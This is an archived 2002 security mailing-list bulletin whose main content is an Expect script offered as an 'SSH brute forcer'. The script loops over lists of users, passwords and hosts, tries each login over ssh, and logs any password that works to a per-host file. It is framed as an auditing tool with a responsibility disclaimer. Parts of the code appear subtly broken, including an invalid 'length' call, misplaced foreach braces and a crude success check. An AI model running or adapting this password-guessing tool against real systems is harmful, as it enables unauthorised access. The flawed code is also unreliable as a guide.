

[TOOL] SSH Brute Forcer

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-01/0128.html>

From: support@securiteam.com

Date: 01/29/02

From: support@securiteam.com

To: list@securiteam.com

Date: Tue, 29 Jan 2002 21:36:10 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> – Know that you're safe.

SSH Brute Forcer

DETAILS

This is an expect script that will allow you to specify a host file, user file, and a dictionary. Extremely useful for auditing large networks where you can't manually log into every machine or don't feel like re-running something on every host.

Tool:

```
#!/usr/bin/expect -f
```

```
#
```

```
# Written by James Shanahan (jshanahan@comcastpc.com)
```

```
# and Erin Palmer(epalmer@comcastpc.com)
```

```
# ssh brute forcer
```

```
# This will allow you to specify hosts, password lists, and a user
```

```
# I do not take any responsibility for what you do with this tool
```

```
# Hopefully it will make your life easier rather than making other
```

```
# peoples lives more difficult!
```

```
set timeout 5
```

```
set dictionary [lindex $argv 0]
```

```
set file [lindex $argv 1]
```

```
set user [lindex $argv 2]
```

Securiteam: [TOOL] SSH Brute Forcer

```
if {[length $argv] != 3} {
  puts stderr "Usage: $argv0 <dictionary-file> <hosts-file>
<user-file>\n"
  exit }

set tryHost [open $file r]
set tryPass [open $dictionary r]
set tryUser [open $user r]

set passwords [read $tryPass]
set hosts [read $tryHost]
set login [read $tryUser]

foreach username $login
{
  foreach passwd $passwords
  {
    foreach ip $hosts
    {
      spawn ssh $username@$ip
      expect ":"
      send "$passwd\n"
      set logFile [open $ip.log a]
      expect "L"
      {
        puts $logFile "password for $username@$ip is $passwd\n"
        close $logFile
      }
      set id [exp_pid]
      exec kill -INT $id
    }
  }
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:jshanahan@comcastpc.com>
James Shanahan and <mailto:epalmer@comcastpc.com> Erin Palmer.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

Securiteam: [TOOL] SSH Brute Forcer

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- *Previous message:* support@securiteam.com: "[\[REVS\] Polymorphic Shellcodes vs. Application IDS's](#)"
- *Messages sorted by:* [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)